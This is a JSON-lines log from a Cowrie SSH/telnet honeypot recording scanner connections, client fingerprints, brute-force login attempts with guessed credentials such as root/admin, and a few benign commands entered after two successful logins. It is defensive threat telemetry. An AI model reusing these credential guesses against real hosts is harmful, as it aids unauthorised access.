{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:27:09.429790Z","src_ip":"103.88.76.27","session":"9e982e5394b1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:27:09.664178Z","src_ip":"103.88.76.27","session":"9e982e5394b1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"qweqwe123","message":"login attempt [user/qweqwe123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:27:10.628566Z","src_ip":"103.88.76.27","session":"9e982e5394b1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:27:11.865223Z","src_ip":"103.88.76.27","session":"9e982e5394b1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.77775478363037,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:27:30.128974Z","src_ip":"135.148.33.91","session":"d508eacef767","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"202.125.94.71","src_port":47602,"dst_ip":"159.203.135.109","dst_port":22,"session":"6a4d9ec16237","protocol":"ssh","message":"New connection: 202.125.94.71:47602 (159.203.135.109:22) [session: 6a4d9ec16237]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:27:33.564699Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:27:33.570457Z","src_ip":"202.125.94.71","session":"6a4d9ec16237","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:27:33.835031Z","src_ip":"202.125.94.71","session":"6a4d9ec16237","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"deploy123","message":"login attempt [ubuntu/deploy123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:27:34.913397Z","src_ip":"202.125.94.71","session":"6a4d9ec16237","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:27:36.178805Z","src_ip":"202.125.94.71","session":"6a4d9ec16237","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.88.76.27","src_port":54054,"dst_ip":"159.203.135.109","dst_port":22,"session":"453356df51b2","protocol":"ssh","message":"New connection: 103.88.76.27:54054 (159.203.135.109:22) [session: 453356df51b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:28:05.525189Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:28:05.530293Z","src_ip":"103.88.76.27","session":"453356df51b2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:28:05.753121Z","src_ip":"103.88.76.27","session":"453356df51b2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu123321","message":"login attempt [ubuntu/ubuntu123321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:28:06.677714Z","src_ip":"103.88.76.27","session":"453356df51b2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:28:07.904557Z","src_ip":"103.88.76.27","session":"453356df51b2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":55258,"dst_ip":"10.17.0.5","dst_port":23,"session":"f7816a48519e","protocol":"telnet","message":"New connection: 45.58.127.90:55258 (10.17.0.5:23) [session: f7816a48519e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:28:17.750588Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.125.94.71","src_port":41072,"dst_ip":"159.203.135.109","dst_port":22,"session":"f45014161008","protocol":"ssh","message":"New connection: 202.125.94.71:41072 (159.203.135.109:22) [session: f45014161008]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:28:33.959954Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:28:33.964362Z","src_ip":"202.125.94.71","session":"f45014161008","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:28:34.225684Z","src_ip":"202.125.94.71","session":"f45014161008","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"55555555","message":"login attempt [ubuntu/55555555] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:28:35.293081Z","src_ip":"202.125.94.71","session":"f45014161008","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:28:36.554475Z","src_ip":"202.125.94.71","session":"f45014161008","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.71.233.73","src_port":32136,"dst_ip":"10.17.0.5","dst_port":22,"session":"66c96387b11f","protocol":"ssh","message":"New connection: 185.71.233.73:32136 (10.17.0.5:22) [session: 66c96387b11f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:28:50.662843Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Renci.SshNet.SshClient.0.0.1","message":"Remote SSH version: SSH-2.0-Renci.SshNet.SshClient.0.0.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:28:50.667729Z","src_ip":"185.71.233.73","session":"66c96387b11f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"748f8c627d3f8ff9921d02f86f55ba2c","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,aes192-cbc,aes256-cbc,3des-cbc,blowfish-cbc,twofish-cbc,twofish192-cbc,twofish128-cbc,twofish256-cbc,arcfour,arcfour128,arcfour256,cast128-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha2-512-96,hmac-sha2-256-96,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-md5-96-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","aes192-cbc","aes256-cbc","3des-cbc","blowfish-cbc","twofish-cbc","twofish192-cbc","twofish128-cbc","twofish256-cbc","arcfour","arcfour128","arcfour256","cast128-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha2-512-96","hmac-sha2-256-96","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com","hmac-md5-96-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 748f8c627d3f8ff9921d02f86f55ba2c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:28:51.048382Z","src_ip":"185.71.233.73","session":"66c96387b11f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.71.233.73","src_port":32155,"dst_ip":"159.203.135.109","dst_port":22,"session":"58c54bf9c2e4","protocol":"ssh","message":"New connection: 185.71.233.73:32155 (159.203.135.109:22) [session: 58c54bf9c2e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:28:51.597532Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Renci.SshNet.SshClient.0.0.1","message":"Remote SSH version: SSH-2.0-Renci.SshNet.SshClient.0.0.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:28:51.602586Z","src_ip":"185.71.233.73","session":"58c54bf9c2e4","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"admin","message":"login attempt [root/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:28:51.888663Z","src_ip":"185.71.233.73","session":"66c96387b11f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"748f8c627d3f8ff9921d02f86f55ba2c","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,aes192-cbc,aes256-cbc,3des-cbc,blowfish-cbc,twofish-cbc,twofish192-cbc,twofish128-cbc,twofish256-cbc,arcfour,arcfour128,arcfour256,cast128-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha2-512-96,hmac-sha2-256-96,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-md5-96-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","aes192-cbc","aes256-cbc","3des-cbc","blowfish-cbc","twofish-cbc","twofish192-cbc","twofish128-cbc","twofish256-cbc","arcfour","arcfour128","arcfour256","cast128-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha2-512-96","hmac-sha2-256-96","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com","hmac-md5-96-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 748f8c627d3f8ff9921d02f86f55ba2c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:28:51.899376Z","src_ip":"185.71.233.73","session":"58c54bf9c2e4","protocol":"ssh"}
{"eventid":"cowrie.client.size","width":80,"height":60,"message":"Terminal Size: 80 60","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:28:52.646448Z","src_ip":"185.71.233.73","session":"66c96387b11f","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"admin","message":"login attempt [root/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:28:52.957864Z","src_ip":"185.71.233.73","session":"58c54bf9c2e4","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:28:52.964680Z","src_ip":"185.71.233.73","session":"66c96387b11f","protocol":"ssh"}
{"eventid":"cowrie.client.size","width":80,"height":60,"message":"Terminal Size: 80 60","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:28:54.017215Z","src_ip":"185.71.233.73","session":"58c54bf9c2e4","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"apt-get update -y","message":"CMD: apt-get update -y","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:28:54.381711Z","src_ip":"185.71.233.73","session":"66c96387b11f","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:28:54.450429Z","src_ip":"185.71.233.73","session":"58c54bf9c2e4","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"apt-get update -y","message":"CMD: apt-get update -y","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:28:55.713343Z","src_ip":"185.71.233.73","session":"58c54bf9c2e4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.83403658866882,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:28:56.584496Z","src_ip":"45.58.127.90","session":"f7816a48519e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.88.76.27","src_port":55146,"dst_ip":"159.203.135.109","dst_port":22,"session":"ab7d58e8d05d","protocol":"ssh","message":"New connection: 103.88.76.27:55146 (159.203.135.109:22) [session: ab7d58e8d05d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:29:02.441785Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:29:02.449615Z","src_ip":"103.88.76.27","session":"ab7d58e8d05d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:29:02.686539Z","src_ip":"103.88.76.27","session":"ab7d58e8d05d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"p","message":"login attempt [test/p] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:29:03.665005Z","src_ip":"103.88.76.27","session":"ab7d58e8d05d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:29:04.905699Z","src_ip":"103.88.76.27","session":"ab7d58e8d05d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":45206,"dst_ip":"10.17.0.5","dst_port":23,"session":"6ff872edd63e","protocol":"telnet","message":"New connection: 45.58.127.90:45206 (10.17.0.5:23) [session: 6ff872edd63e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:29:05.589283Z"}
{"eventid":"cowrie.command.input","input":"sudo apt-get update -y","message":"CMD: sudo apt-get update -y","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:29:10.254036Z","src_ip":"185.71.233.73","session":"66c96387b11f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":33568,"dst_ip":"10.17.0.5","dst_port":23,"session":"3e722035ec8a","protocol":"telnet","message":"New connection: 45.58.127.90:33568 (10.17.0.5:23) [session: 3e722035ec8a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:29:10.842176Z"}
{"eventid":"cowrie.command.input","input":"admin","message":"CMD: admin","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:29:11.258250Z","src_ip":"185.71.233.73","session":"66c96387b11f","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"admin ","message":"Command not found: admin ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:29:11.262150Z","src_ip":"185.71.233.73","session":"66c96387b11f","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"sudo apt-get update -y","message":"CMD: sudo apt-get update -y","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:29:11.717427Z","src_ip":"185.71.233.73","session":"58c54bf9c2e4","protocol":"ssh"}
